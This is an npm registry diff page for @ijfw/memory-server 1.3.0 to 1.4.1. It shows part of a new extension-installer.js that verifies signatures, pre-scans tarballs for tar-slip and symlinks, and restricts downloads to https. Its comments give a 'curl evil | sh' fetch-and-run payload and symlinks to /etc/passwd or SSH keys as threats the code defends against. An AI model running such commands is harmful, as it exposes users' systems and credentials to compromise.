@ijfw/memory-server 1.3.0 → 1.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (68) hide show
  1. package/README.md +67 -0
  2. package/fixtures/team/book.json +47 -0
  3. package/fixtures/team/business.json +47 -0
  4. package/fixtures/team/content.json +47 -0
  5. package/fixtures/team/design.json +47 -0
  6. package/fixtures/team/mixed.json +59 -0
  7. package/fixtures/team/research.json +47 -0
  8. package/fixtures/team/software.json +47 -0
  9. package/package.json +1 -9
  10. package/src/.registry-meta-key.pem +3 -0
  11. package/src/active-extension-writer.js +142 -0
  12. package/src/blackboard.js +360 -0
  13. package/src/cli-run.js +91 -0
  14. package/src/codex-agents.js +177 -0
  15. package/src/compute/extract.js +3 -0
  16. package/src/compute/fts5.js +4 -4
  17. package/src/compute/graph-lock.js +0 -2
  18. package/src/compute/migrations/003-tier-semantic.js +3 -3
  19. package/src/compute/runner.js +44 -15
  20. package/src/compute/schema.sql +1 -1
  21. package/src/cross-orchestrator-cli.js +974 -13
  22. package/src/cross-orchestrator.js +9 -1
  23. package/src/dashboard-client.html +353 -1
  24. package/src/dashboard-server.js +318 -2
  25. package/src/design-intelligence.js +721 -0
  26. package/src/dispatch/colon-syntax.js +31 -3
  27. package/src/dispatch/domain-manifest.js +251 -0
  28. package/src/dispatch/extension.js +637 -0
  29. package/src/dispatch/override.js +221 -0
  30. package/src/dispatch-planner.js +1 -0
  31. package/src/dream/runner.mjs +3 -3
  32. package/src/extension-installer.js +1269 -0
  33. package/src/extension-manifest-schema.js +301 -0
  34. package/src/extension-permission-check.mjs +79 -0
  35. package/src/extension-registry.js +619 -0
  36. package/src/extension-signer.js +905 -0
  37. package/src/gate-result-formatter.js +95 -0
  38. package/src/gate-result-schema.js +274 -0
  39. package/src/gate-result.js +195 -0
  40. package/src/intent-router.js +2 -0
  41. package/src/lib/npm-view.js +1 -0
  42. package/src/memory/fts5.js +3 -3
  43. package/src/memory/migrations/002-tier-semantic.js +2 -2
  44. package/src/memory/staleness.js +1 -1
  45. package/src/memory/tier-promotion.js +6 -6
  46. package/src/memory/tokenize.js +1 -1
  47. package/src/memory-feedback.js +372 -0
  48. package/src/override-manifest-schema.js +146 -0
  49. package/src/override-resolver.js +699 -0
  50. package/src/override-use-registry.js +307 -0
  51. package/src/overrides/presets/academic.md +101 -0
  52. package/src/overrides/presets/book.md +87 -0
  53. package/src/overrides/presets/campaign.md +95 -0
  54. package/src/overrides/presets/screenplay.md +99 -0
  55. package/src/recovery/checkpoint.js +191 -0
  56. package/src/redactor.js +2 -0
  57. package/src/runtime-mediator.js +207 -0
  58. package/src/sandbox.js +17 -3
  59. package/src/server.js +94 -2
  60. package/src/swarm/dispatch-prompt.js +154 -0
  61. package/src/swarm/planner.js +399 -0
  62. package/src/swarm/review.js +136 -0
  63. package/src/swarm/worktree.js +239 -0
  64. package/src/team/generator.js +119 -0
  65. package/src/team/schemas.js +341 -0
  66. package/src/trident/dispatch.js +47 -0
  67. package/src/update-check.js +1 -1
  68. package/src/vectors.js +7 -8
@@ -0,0 +1,1269 @@
1
+ /**
2
+ * extension-installer.js
3
+ *
4
+ * IJFW v1.4.0 / t10 — Extension installer with Trident install gate.
5
+ *
6
+ * Security model (v1.4.0):
7
+ * - SHA256 integrity hash detects tamper.
8
+ * - Ed25519 publisher signature (W7/B1) authenticates the publisher against
9
+ * the per-host trusted-publishers store (~/.ijfw/trusted-publishers.json).
10
+ * Unsigned manifests require opts.allowUnsigned; signed-but-untrusted
11
+ * manifests require opts.acceptUntrusted.
12
+ * - Install-time static analysis: classify() per file + isSafeVerifyCommand()
13
+ * per shell command.
14
+ * - Trident audit at install gates content (3-lens consensus).
15
+ * - Runtime sandbox mediation (W7/B2): tier-1 MCP wrap + tier-2 Claude Code
16
+ * hook enforce declared permissions when an extension is active. Activation
17
+ * is via `extension activate <name>` (W7.1/B2-H-01).
18
+ */
19
+
20
+ import {
21
+ cp,
22
+ lstat,
23
+ mkdir,
24
+ mkdtemp,
25
+ readFile,
26
+ readdir,
27
+ rename,
28
+ rm,
29
+ stat,
30
+ writeFile,
31
+ } from 'node:fs/promises';
32
+ import { createWriteStream } from 'node:fs';
33
+ import { homedir, tmpdir } from 'node:os';
34
+ import { dirname, isAbsolute, join, resolve, sep } from 'node:path';
35
+ import { randomBytes } from 'node:crypto';
36
+ import { spawn } from 'node:child_process';
37
+ import { get as httpsGet } from 'node:https';
38
+ import { pipeline } from 'node:stream/promises';
39
+ import { createInterface } from 'node:readline';
40
+
41
+ import {
42
+ validateExtensionManifest,
43
+ } from './extension-manifest-schema.js';
44
+ import {
45
+ verifyIntegrity,
46
+ scanExtensionForSecrets,
47
+ scanInlineCommands,
48
+ validatePermissions,
49
+ verifyManifestSignature,
50
+ readTrustedPublishers,
51
+ } from './extension-signer.js';
52
+ import { runTrident } from './trident/dispatch.js';
53
+ import { emitGateResult } from './gate-result.js';
54
+ import {
55
+ deployExtensionToAgentsMd,
56
+ deployExtensionSkillsToPlatforms,
57
+ removeExtensionFromAgentsMd,
58
+ uninstallExtensionSkillsFromPlatforms,
59
+ } from '../../installer/src/install-helpers.js';
60
+
61
+ // --- constants -------------------------------------------------------------
62
+
63
+ const GIT_CLONE_TIMEOUT_MS = 30_000;
64
+ const HTTPS_REQUEST_TIMEOUT_MS = 30_000;
65
+ const REGISTRY_FILENAME = 'extension-registry.json';
66
+
67
+ // Maximum 3xx redirects to follow before giving up. A malicious mirror or a
68
+ // misconfigured server can otherwise loop indefinitely; without a cap both
69
+ // fetchJsonHttps and downloadHttps recurse without bound. 5 is the common
70
+ // browser default and is comfortably above any legitimate registry redirect
71
+ // chain (registry.npmjs.org typically lands in 0–1 hops).
72
+ const MAX_HTTPS_REDIRECTS = 5;
73
+
74
+ // Matches the schema's accepted shape for manifest.name. Kept local because
75
+ // extension-manifest-schema.js does not export the pattern. Stays in sync
76
+ // manually — the schema and this constant are co-located.
77
+ // eslint-disable-next-line security/detect-unsafe-regex -- anchored, bounded npm name shape; no nested ambiguous repetition
78
+ const EXTENSION_NAME_PATTERN = /^(@[a-z0-9-]+\/)?[a-z][a-z0-9-]*$/;
79
+
80
+ // Verdicts considered acceptable for a normal install (3/3 lenses).
81
+ const ACCEPTABLE_VERDICTS = new Set(['PASS', 'CONDITIONAL']);
82
+
83
+ // --- helpers: TTY confirmation ---------------------------------------------
84
+
85
+ /**
86
+ * Prompt the user to confirm an untrusted publisher by typing the last 8 chars
87
+ * of the keyId. Returns true on match, false on mismatch or EOF.
88
+ * Only called when process.stdin.isTTY === true.
89
+ *
90
+ * @param {string} keyId
91
+ * @returns {Promise<boolean>}
92
+ */
93
+ export async function promptUntrustedConfirmation(keyId) {
94
+ const expected = keyId.slice(-8);
95
+ return new Promise((resolve) => {
96
+ const rl = createInterface({ input: process.stdin, output: process.stdout, terminal: true });
97
+ const prompt =
98
+ `⚠️ Extension is signed by publisher keyId ${keyId} but ${keyId} is not in your trusted publishers store.\n` +
99
+ ` Type the LAST 8 CHARS of the keyId (lowercase hex) to confirm: `;
100
+ let answered = false;
101
+ rl.question(prompt, (line) => {
102
+ answered = true;
103
+ rl.close();
104
+ resolve(line.trim() === expected);
105
+ });
106
+ rl.once('close', () => {
107
+ if (!answered) resolve(false); // EOF / ctrl-D
108
+ });
109
+ });
110
+ }
111
+
112
+ // --- helpers: source resolution -------------------------------------------
113
+
114
+ /**
115
+ * Classify the install source.
116
+ * @param {string} source
117
+ * @returns {'npm'|'local'|'git'}
118
+ */
119
+ function classifySource(source) {
120
+ if (typeof source !== 'string' || source.length === 0) {
121
+ throw new TypeError('installExtension: source must be a non-empty string');
122
+ }
123
+ if (/^https?:\/\//i.test(source) || /\.git$/i.test(source) ||
124
+ /^git[:@]/i.test(source) || /^ssh:\/\//i.test(source)) {
125
+ return 'git';
126
+ }
127
+ if (source.startsWith('./') || source.startsWith('../') ||
128
+ source.startsWith('/') || source.startsWith('~') ||
129
+ (isAbsolute(source))) {
130
+ return 'local';
131
+ }
132
+ // npm package names: @scope/name or bare-name. Reject anything else above.
133
+ return 'npm';
134
+ }
135
+
136
+ /**
137
+ * Resolve a `~`-prefixed path to absolute.
138
+ * @param {string} p
139
+ * @returns {string}
140
+ */
141
+ function expandHome(p) {
142
+ if (typeof p !== 'string') return p;
143
+ if (p === '~') return homedir();
144
+ if (p.startsWith('~/') || p.startsWith('~\\')) {
145
+ return join(homedir(), p.slice(2));
146
+ }
147
+ return p;
148
+ }
149
+
150
+ /**
151
+ * Create a unique temp directory under os.tmpdir().
152
+ * @returns {Promise<string>}
153
+ */
154
+ async function makeTempDir() {
155
+ return mkdtemp(join(tmpdir(), 'ijfw-ext-'));
156
+ }
157
+
158
+ // --- helpers: npm registry --------------------------------------------------
159
+
160
+ /**
161
+ * Resolve a 3xx Location header against the request URL. Rejects (throws)
162
+ * if the resulting URL is not https:// — protocol-downgrade-via-redirect is
163
+ * a classic exfil vector. Returns the absolute https URL string.
164
+ *
165
+ * @param {string} requestUrl
166
+ * @param {string} location
167
+ * @returns {string}
168
+ */
169
+ function resolveHttpsRedirect(requestUrl, location) {
170
+ const next = new URL(location, requestUrl);
171
+ if (next.protocol !== 'https:') {
172
+ throw new Error(`redirect to non-https url refused: ${next.protocol}//${next.host}`);
173
+ }
174
+ return next.toString();
175
+ }
176
+
177
+ /**
178
+ * Fetch JSON from https with timeout. Follows up to MAX_HTTPS_REDIRECTS
179
+ * 3xx redirects (default 5); rejects on cycles, exceeding the cap, or any
180
+ * cross-protocol redirect (https only).
181
+ *
182
+ * @param {string} url
183
+ * @param {number} [redirectsRemaining]
184
+ * @returns {Promise<any>}
185
+ */
186
+ function fetchJsonHttps(url, redirectsRemaining = MAX_HTTPS_REDIRECTS) {
187
+ return new Promise((resolveP, rejectP) => {
188
+ const req = httpsGet(url, { headers: { 'accept': 'application/json' } }, (res) => {
189
+ if (res.statusCode && (res.statusCode >= 300 && res.statusCode < 400) && res.headers.location) {
190
+ res.resume();
191
+ if (redirectsRemaining <= 0) {
192
+ rejectP(new Error(`too many redirects (>${MAX_HTTPS_REDIRECTS}) following ${url}`));
193
+ return;
194
+ }
195
+ let nextUrl;
196
+ try {
197
+ nextUrl = resolveHttpsRedirect(url, res.headers.location);
198
+ } catch (err) {
199
+ rejectP(err);
200
+ return;
201
+ }
202
+ fetchJsonHttps(nextUrl, redirectsRemaining - 1).then(resolveP, rejectP);
203
+ return;
204
+ }
205
+ if (!res.statusCode || res.statusCode < 200 || res.statusCode >= 300) {
206
+ res.resume();
207
+ rejectP(new Error(`https GET ${url} returned status ${res.statusCode}`));
208
+ return;
209
+ }
210
+ const chunks = [];
211
+ res.on('data', (c) => chunks.push(c));
212
+ res.on('end', () => {
213
+ try {
214
+ const body = Buffer.concat(chunks).toString('utf8');
215
+ resolveP(JSON.parse(body));
216
+ } catch (err) {
217
+ rejectP(err);
218
+ }
219
+ });
220
+ res.on('error', rejectP);
221
+ });
222
+ req.setTimeout(HTTPS_REQUEST_TIMEOUT_MS, () => {
223
+ req.destroy(new Error(`https GET ${url} timeout after ${HTTPS_REQUEST_TIMEOUT_MS}ms`));
224
+ });
225
+ req.on('error', rejectP);
226
+ });
227
+ }
228
+
229
+ /**
230
+ * Download a binary file from https to a local path, with timeout + redirects.
231
+ * Follows up to MAX_HTTPS_REDIRECTS 3xx redirects (default 5); rejects on
232
+ * cycles, exceeding the cap, or any cross-protocol redirect (https only).
233
+ *
234
+ * @param {string} url
235
+ * @param {string} destPath
236
+ * @param {number} [redirectsRemaining]
237
+ * @returns {Promise<void>}
238
+ */
239
+ function downloadHttps(url, destPath, redirectsRemaining = MAX_HTTPS_REDIRECTS) {
240
+ return new Promise((resolveP, rejectP) => {
241
+ const req = httpsGet(url, (res) => {
242
+ if (res.statusCode && (res.statusCode >= 300 && res.statusCode < 400) && res.headers.location) {
243
+ res.resume();
244
+ if (redirectsRemaining <= 0) {
245
+ rejectP(new Error(`too many redirects (>${MAX_HTTPS_REDIRECTS}) downloading ${url}`));
246
+ return;
247
+ }
248
+ let nextUrl;
249
+ try {
250
+ nextUrl = resolveHttpsRedirect(url, res.headers.location);
251
+ } catch (err) {
252
+ rejectP(err);
253
+ return;
254
+ }
255
+ downloadHttps(nextUrl, destPath, redirectsRemaining - 1).then(resolveP, rejectP);
256
+ return;
257
+ }
258
+ if (!res.statusCode || res.statusCode < 200 || res.statusCode >= 300) {
259
+ res.resume();
260
+ rejectP(new Error(`download ${url} returned status ${res.statusCode}`));
261
+ return;
262
+ }
263
+ const out = createWriteStream(destPath);
264
+ pipeline(res, out).then(resolveP, rejectP);
265
+ });
266
+ req.setTimeout(HTTPS_REQUEST_TIMEOUT_MS, () => {
267
+ req.destroy(new Error(`download ${url} timeout after ${HTTPS_REQUEST_TIMEOUT_MS}ms`));
268
+ });
269
+ req.on('error', rejectP);
270
+ });
271
+ }
272
+
273
+ /**
274
+ * Encode an npm package name for the registry URL (keeps `@` and `/`).
275
+ * @param {string} name
276
+ * @returns {string}
277
+ */
278
+ function encodeNpmName(name) {
279
+ // The npm registry accepts `@scope%2Fname` for scoped packages.
280
+ if (name.startsWith('@')) {
281
+ const slash = name.indexOf('/');
282
+ if (slash > 0) {
283
+ const scope = name.slice(0, slash);
284
+ const pkg = name.slice(slash + 1);
285
+ return `${encodeURIComponent(scope)}%2F${encodeURIComponent(pkg)}`;
286
+ }
287
+ }
288
+ return encodeURIComponent(name);
289
+ }
290
+
291
+ /**
292
+ * Spawn a child process with arg-list (NEVER shell-interpolated) and a timeout.
293
+ * Returns once the process exits or the timeout fires.
294
+ * @param {string} cmd
295
+ * @param {string[]} args
296
+ * @param {{cwd?: string, timeoutMs?: number, captureStdout?: boolean}} [opts]
297
+ * @returns {Promise<{stdout: string}>}
298
+ */
299
+ function spawnChecked(cmd, args, opts = {}) {
300
+ return new Promise((resolveP, rejectP) => {
301
+ const child = spawn(cmd, args, {
302
+ cwd: opts.cwd,
303
+ stdio: ['ignore', 'pipe', 'pipe'],
304
+ shell: false,
305
+ });
306
+ let stderr = '';
307
+ let stdout = '';
308
+ child.stderr?.on('data', (b) => { stderr += b.toString('utf8'); });
309
+ child.stdout?.on('data', (b) => {
310
+ if (opts.captureStdout) stdout += b.toString('utf8');
311
+ // else drain only
312
+ });
313
+ let timedOut = false;
314
+ const timeoutMs = opts.timeoutMs ?? GIT_CLONE_TIMEOUT_MS;
315
+ const timer = setTimeout(() => {
316
+ timedOut = true;
317
+ child.kill('SIGKILL');
318
+ }, timeoutMs);
319
+ child.on('error', (err) => {
320
+ clearTimeout(timer);
321
+ rejectP(err);
322
+ });
323
+ child.on('close', (code) => {
324
+ clearTimeout(timer);
325
+ if (timedOut) {
326
+ rejectP(new Error(`${cmd} ${args.join(' ')} timed out after ${timeoutMs}ms`));
327
+ return;
328
+ }
329
+ if (code !== 0) {
330
+ rejectP(new Error(`${cmd} exited with code ${code}: ${stderr.trim().slice(0, 500)}`));
331
+ return;
332
+ }
333
+ resolveP({ stdout });
334
+ });
335
+ });
336
+ }
337
+
338
+ /**
339
+ * Pre-scan a tarball for tar-slip / symlink / hardlink members before
340
+ * extraction. Approach 1 from the audit spec: list contents with
341
+ * `tar -tvzf`, reject any member that
342
+ * - starts with `/` (absolute path)
343
+ * - contains a `..` segment (escapes extract dir on join)
344
+ * - is a symlink or hardlink (mode char `l` or `h` in the verbose listing)
345
+ *
346
+ * `tar -tvzf` output format starts with the file-mode field whose first
347
+ * char encodes the type: `-` file, `d` dir, `l` symlink, `h` hardlink.
348
+ * Filenames appear last on the line, with symlinks/hardlinks following the
349
+ * pattern `<name> -> <target>`.
350
+ *
351
+ * @param {string} tarballPath
352
+ * @returns {Promise<void>} resolves if clean, throws with reason if not
353
+ */
354
+ async function preflightTarball(tarballPath) {
355
+ const { stdout } = await spawnChecked('tar', ['-tvzf', tarballPath], {
356
+ timeoutMs: GIT_CLONE_TIMEOUT_MS,
357
+ captureStdout: true,
358
+ });
359
+ // Independent name listing — `tar -tzf` prints one member name per line with
360
+ // no leading metadata. Used for path-traversal / absolute-path checks where
361
+ // robust field parsing across BSD vs GNU tar is otherwise brittle.
362
+ const { stdout: namesOut } = await spawnChecked('tar', ['-tzf', tarballPath], {
363
+ timeoutMs: GIT_CLONE_TIMEOUT_MS,
364
+ captureStdout: true,
365
+ });
366
+ const names = namesOut.split('\n').filter((l) => l.length > 0);
367
+ for (const name of names) {
368
+ if (name.startsWith('/')) {
369
+ throw new Error(`tar-slip: tarball contains absolute path member: ${name}`);
370
+ }
371
+ const segments = name.split(/[\\/]/);
372
+ if (segments.includes('..')) {
373
+ throw new Error(`tar-slip: tarball contains '..' segment in member: ${name}`);
374
+ }
375
+ }
376
+ // Verbose listing — used solely for type-char (symlink/hardlink) detection.
377
+ // The first character of the first whitespace-delimited field encodes type:
378
+ // `-` file, `d` dir, `l` symlink, `h` hardlink. Works the same on BSD + GNU.
379
+ const lines = stdout.split('\n').filter((l) => l.length > 0);
380
+ for (const line of lines) {
381
+ const modeMatch = line.match(/^(\S+)/);
382
+ if (!modeMatch) continue;
383
+ const typeChar = modeMatch[1][0];
384
+ if (typeChar === 'l' || typeChar === 'h') {
385
+ throw new Error(`tar-slip: tarball contains symlink/hardlink (refused): ${line.slice(0, 200)}`);
386
+ }
387
+ }
388
+ }
389
+
390
+ /**
391
+ * Fetch + extract an npm tarball into a fresh temp dir.
392
+ * @param {string} pkgName
393
+ * @returns {Promise<{dir: string, cleanup: () => Promise<void>}>}
394
+ */
395
+ async function fetchNpmExtension(pkgName) {
396
+ const encoded = encodeNpmName(pkgName);
397
+ const meta = await fetchJsonHttps(`https://registry.npmjs.org/${encoded}`);
398
+ const latestTag = meta['dist-tags']?.latest;
399
+ if (!latestTag || !meta.versions || !meta.versions[latestTag]) {
400
+ throw new Error(`npm package ${pkgName}: no latest version in registry metadata`);
401
+ }
402
+ const tarballUrl = meta.versions[latestTag].dist?.tarball;
403
+ if (!tarballUrl || !/^https:\/\//i.test(tarballUrl)) {
404
+ throw new Error(`npm package ${pkgName}: tarball url missing or not https`);
405
+ }
406
+ const tmp = await makeTempDir();
407
+ const tarballPath = join(tmp, 'pkg.tgz');
408
+ try {
409
+ await downloadHttps(tarballUrl, tarballPath);
410
+ const extractDir = join(tmp, 'extract');
411
+ await mkdir(extractDir, { recursive: true });
412
+ // R10/S10: pre-scan the tarball for tar-slip + symlink/hardlink members
413
+ // BEFORE extraction. A malicious npm tarball could otherwise drop files
414
+ // outside `extractDir` (absolute paths, `..` segments) or smuggle in a
415
+ // symlink that downstream readFile() would follow to /etc/passwd.
416
+ await preflightTarball(tarballPath);
417
+ // `tar` accepts the tarball path via args — no shell interpolation.
418
+ await spawnChecked('tar', ['-xzf', tarballPath, '-C', extractDir], {
419
+ timeoutMs: GIT_CLONE_TIMEOUT_MS,
420
+ });
421
+ // npm tarballs always extract into a single top-level "package/" dir.
422
+ const entries = await readdir(extractDir, { withFileTypes: true });
423
+ const top = entries.find((e) => e.isDirectory());
424
+ if (!top) {
425
+ throw new Error(`npm package ${pkgName}: extracted tarball has no top-level dir`);
426
+ }
427
+ const dir = join(extractDir, top.name);
428
+ return {
429
+ dir,
430
+ cleanup: async () => { await rm(tmp, { recursive: true, force: true }); },
431
+ };
432
+ } catch (err) {
433
+ await rm(tmp, { recursive: true, force: true }).catch(() => {});
434
+ throw err;
435
+ }
436
+ }
437
+
438
+ /**
439
+ * Clone an https git URL shallowly into a fresh temp dir. Rejects non-https.
440
+ * @param {string} url
441
+ * @returns {Promise<{dir: string, cleanup: () => Promise<void>}>}
442
+ */
443
+ async function fetchGitExtension(url) {
444
+ // R10: only https:// allowed. Explicitly reject other schemes here.
445
+ if (!/^https:\/\//i.test(url)) {
446
+ throw new Error(`git clone source must use https:// scheme (got ${url.split(':')[0]}://)`);
447
+ }
448
+ // Sanity: disallow URLs that smuggle a remote helper protocol.
449
+ if (/git:\/\/|ssh:\/\/|file:\/\//i.test(url)) {
450
+ throw new Error(`git clone source must use https:// scheme (rejected ${url})`);
451
+ }
452
+ const tmp = await makeTempDir();
453
+ const cloneDir = join(tmp, 'repo');
454
+ try {
455
+ await spawnChecked('git', ['clone', '--depth', '1', url, cloneDir], {
456
+ timeoutMs: GIT_CLONE_TIMEOUT_MS,
457
+ });
458
+ return {
459
+ dir: cloneDir,
460
+ cleanup: async () => { await rm(tmp, { recursive: true, force: true }); },
461
+ };
462
+ } catch (err) {
463
+ await rm(tmp, { recursive: true, force: true }).catch(() => {});
464
+ throw err;
465
+ }
466
+ }
467
+
468
+ /**
469
+ * Resolve a local path source (no copying — read in place).
470
+ * @param {string} path
471
+ * @returns {Promise<{dir: string, cleanup: () => Promise<void>}>}
472
+ */
473
+ async function fetchLocalExtension(path) {
474
+ const expanded = expandHome(path);
475
+ const abs = resolve(expanded);
476
+ const st = await stat(abs).catch(() => null);
477
+ if (!st || !st.isDirectory()) {
478
+ throw new Error(`local extension source not found or not a directory: ${abs}`);
479
+ }
480
+ return { dir: abs, cleanup: async () => { /* nothing to clean */ } };
481
+ }
482
+
483
+ // --- helpers: manifest + skill bodies --------------------------------------
484
+
485
+ /**
486
+ * Read + parse the manifest.json from an extension dir.
487
+ * @param {string} extensionDir
488
+ * @returns {Promise<object>}
489
+ */
490
+ async function readManifest(extensionDir) {
491
+ const path = join(extensionDir, 'manifest.json');
492
+ const raw = await readFile(path, 'utf8').catch(() => {
493
+ throw new Error(`manifest.json not found at ${path}`);
494
+ });
495
+ try {
496
+ return JSON.parse(raw);
497
+ } catch (err) {
498
+ throw new Error(`manifest.json is not valid JSON: ${err.message}`);
499
+ }
500
+ }
501
+
502
+ /**
503
+ * Read every declared skill body. Returns {name, file, body, absPath}[].
504
+ * Rejects symlinks and any path that resolves outside `extensionDir`.
505
+ *
506
+ * @param {object} manifest
507
+ * @param {string} extensionDir
508
+ * @returns {Promise<Array<{name: string, file: string, body: string, absPath: string}>>}
509
+ */
510
+ async function readSkillBodies(manifest, extensionDir) {
511
+ const skills = Array.isArray(manifest.skills) ? manifest.skills : [];
512
+ const out = [];
513
+ const extensionRoot = resolve(extensionDir);
514
+ for (const s of skills) {
515
+ if (!s || typeof s.file !== 'string') continue;
516
+ // Guard against path traversal — the schema's FILE_PATH_PATTERN already
517
+ // restricts to safe chars + .md, but reject `..` segments belt-and-braces.
518
+ if (s.file.split(/[\\/]/).some((seg) => seg === '..')) {
519
+ throw new Error(`skill file path contains traversal segment: ${s.file}`);
520
+ }
521
+ const absPath = join(extensionDir, s.file);
522
+ // S11: lstat first so we detect symlinks BEFORE readFile() follows them.
523
+ // A malicious extension could declare a `.md` skill that's actually a
524
+ // symlink to /etc/passwd or ~/.ssh/id_rsa — readFile would silently
525
+ // follow the link and pipe local secrets into the audit brief.
526
+ const lst = await lstat(absPath).catch(() => null);
527
+ if (!lst) {
528
+ throw new Error(`skill file not readable: ${s.file}`);
529
+ }
530
+ if (lst.isSymbolicLink()) {
531
+ throw new Error(`skill file is a symlink (refused): ${s.file}`);
532
+ }
533
+ // Belt-and-braces: after resolve(), verify the canonical path still lives
534
+ // inside extensionRoot. Catches symlink-free traversal we missed above.
535
+ const resolvedAbs = resolve(absPath);
536
+ if (resolvedAbs !== extensionRoot &&
537
+ !resolvedAbs.startsWith(extensionRoot + sep)) {
538
+ throw new Error(`skill file resolves outside extension dir: ${s.file}`);
539
+ }
540
+ const body = await readFile(absPath, 'utf8').catch(() => {
541
+ throw new Error(`skill file not readable: ${s.file}`);
542
+ });
543
+ out.push({ name: s.name, file: s.file, body, absPath });
544
+ }
545
+ return out;
546
+ }
547
+
548
+ // --- helpers: scope resolution ---------------------------------------------
549
+
550
+ /**
551
+ * Resolve the on-disk scope directory for a given scope + extension name.
552
+ * @param {{scope: 'project'|'org'|'user', projectRoot: string}} opts
553
+ * @param {string} name
554
+ * @returns {string}
555
+ */
556
+ function resolveScopeDir(opts, name) {
557
+ const home = homedir();
558
+ switch (opts.scope) {
559
+ case 'project':
560
+ if (!opts.projectRoot) {
561
+ throw new Error('project scope requires opts.projectRoot');
562
+ }
563
+ return join(opts.projectRoot, '.ijfw', 'extensions', name);
564
+ case 'org':
565
+ return join(home, '.ijfw', 'extensions-org', name);
566
+ case 'user':
567
+ return join(home, '.ijfw', 'extensions-user', name);
568
+ default:
569
+ throw new Error(`unknown scope: ${opts.scope}`);
570
+ }
571
+ }
572
+
573
+ /**
574
+ * Resolve the registry file path for a given scope.
575
+ * @param {{scope: 'project'|'org'|'user', projectRoot: string}} opts
576
+ * @returns {string}
577
+ */
578
+ function resolveRegistryPath(opts) {
579
+ const home = homedir();
580
+ switch (opts.scope) {
581
+ case 'project':
582
+ if (!opts.projectRoot) {
583
+ throw new Error('project scope requires opts.projectRoot');
584
+ }
585
+ return join(opts.projectRoot, '.ijfw', 'state', REGISTRY_FILENAME);
586
+ case 'org':
587
+ return join(home, '.ijfw', 'state-org', REGISTRY_FILENAME);
588
+ case 'user':
589
+ return join(home, '.ijfw', 'state-user', REGISTRY_FILENAME);
590
+ default:
591
+ throw new Error(`unknown scope: ${opts.scope}`);
592
+ }
593
+ }
594
+
595
+ /**
596
+ * All registry locations searched by listExtensions().
597
+ * @param {string} projectRoot
598
+ * @returns {Array<{scope: string, path: string}>}
599
+ */
600
+ function allRegistryPaths(projectRoot) {
601
+ const home = homedir();
602
+ const list = [];
603
+ if (projectRoot) {
604
+ list.push({ scope: 'project', path: join(projectRoot, '.ijfw', 'state', REGISTRY_FILENAME) });
605
+ }
606
+ list.push({ scope: 'org', path: join(home, '.ijfw', 'state-org', REGISTRY_FILENAME) });
607
+ list.push({ scope: 'user', path: join(home, '.ijfw', 'state-user', REGISTRY_FILENAME) });
608
+ return list;
609
+ }
610
+
611
+ async function readRegistry(path) {
612
+ try {
613
+ const raw = await readFile(path, 'utf8');
614
+ const parsed = JSON.parse(raw);
615
+ if (parsed && Array.isArray(parsed.extensions)) return parsed;
616
+ return { extensions: [] };
617
+ } catch {
618
+ return { extensions: [] };
619
+ }
620
+ }
621
+
622
+ async function writeRegistry(path, registry) {
623
+ await mkdir(dirname(path), { recursive: true });
624
+ // Atomic write: tmp + rename. Use pid + 4-byte random suffix so concurrent
625
+ // writes (same pid, parallel async calls, or two installer processes) cannot
626
+ // collide on a single tmp filename and clobber each other's in-flight state.
627
+ const tmp = `${path}.tmp.${process.pid}.${randomBytes(4).toString('hex')}`;
628
+ const body = JSON.stringify(registry, null, 2) + '\n';
629
+ try {
630
+ await writeFile(tmp, body, 'utf8');
631
+ await rename(tmp, path);
632
+ } catch (err) {
633
+ // Best-effort cleanup of the tmp file if rename failed mid-flight.
634
+ try { await rm(tmp, { force: true }); } catch { /* swallow */ }
635
+ throw err;
636
+ }
637
+ }
638
+
639
+ // --- exported helpers -------------------------------------------------------
640
+
641
+ // Per-skill audit-brief budget. 20 KiB comfortably accommodates the long tail
642
+ // of real-world skill bodies (typical < 5 KiB) while preventing the brief from
643
+ // ballooning if a skill ships a multi-megabyte body. When a body exceeds the
644
+ // cap, we keep the first 18 KiB AND the last 1.5 KiB with a truncation marker
645
+ // so adversarial payloads tucked at the bottom (e.g. `curl evil | sh` after
646
+ // 19 KiB of innocuous prose) still surface to Trident.
647
+ const AUDIT_BRIEF_SKILL_BUDGET = 20_000;
648
+ const AUDIT_BRIEF_HEAD_BYTES = 18_000;
649
+ const AUDIT_BRIEF_TAIL_BYTES = 1_500;
650
+
651
+ /**
652
+ * Build the per-skill body excerpt for the audit brief. Bodies under the
653
+ * budget pass through unchanged. Bodies over the budget are head+tail
654
+ * truncated with an explicit `... [truncated N chars] ...` marker so the
655
+ * audit lens (and any human reviewer) can see what was dropped.
656
+ *
657
+ * @param {string} body
658
+ * @returns {string}
659
+ */
660
+ function buildAuditBriefExcerpt(body) {
661
+ if (typeof body !== 'string' || body.length === 0) return '';
662
+ if (body.length <= AUDIT_BRIEF_SKILL_BUDGET) return body;
663
+ const head = body.slice(0, AUDIT_BRIEF_HEAD_BYTES);
664
+ const tail = body.slice(body.length - AUDIT_BRIEF_TAIL_BYTES);
665
+ const dropped = body.length - AUDIT_BRIEF_HEAD_BYTES - AUDIT_BRIEF_TAIL_BYTES;
666
+ return `${head}\n... [truncated ${dropped} chars] ...\n${tail}`;
667
+ }
668
+
669
+ /**
670
+ * Build the markdown brief passed to the Trident audit. Exported so tests can
671
+ * assert on payload shape.
672
+ *
673
+ * @param {object} manifest
674
+ * @param {Array<{name: string, file: string, body: string}>} skillBodies
675
+ * @returns {string}
676
+ */
677
+ export function extensionAuditBrief(manifest, skillBodies) {
678
+ const m = manifest || {};
679
+ const skills = Array.isArray(skillBodies) ? skillBodies : [];
680
+ const lines = [];
681
+ lines.push('# Extension Install Audit Brief');
682
+ lines.push('');
683
+ lines.push('## Manifest');
684
+ lines.push(`- name: ${m.name ?? '(unknown)'}`);
685
+ lines.push(`- version: ${m.version ?? '(unknown)'}`);
686
+ lines.push(`- type: ${m.type ?? '(unknown)'}`);
687
+ if (m.author) lines.push(`- author: ${m.author}`);
688
+ if (m.license) lines.push(`- license: ${m.license}`);
689
+ if (m.description) lines.push(`- description: ${m.description}`);
690
+ lines.push(`- integrity: ${m.integrity ?? '(none)'}`);
691
+ if (m.ijfw_requires) lines.push(`- ijfw_requires: ${m.ijfw_requires}`);
692
+
693
+ const reads = m.permissions?.reads ?? [];
694
+ const writes = m.permissions?.writes ?? [];
695
+ lines.push('');
696
+ lines.push('## Declared Permissions');
697
+ lines.push(`- reads: ${reads.length ? reads.join(', ') : '(none)'}`);
698
+ lines.push(`- writes: ${writes.length ? writes.join(', ') : '(none)'}`);
699
+
700
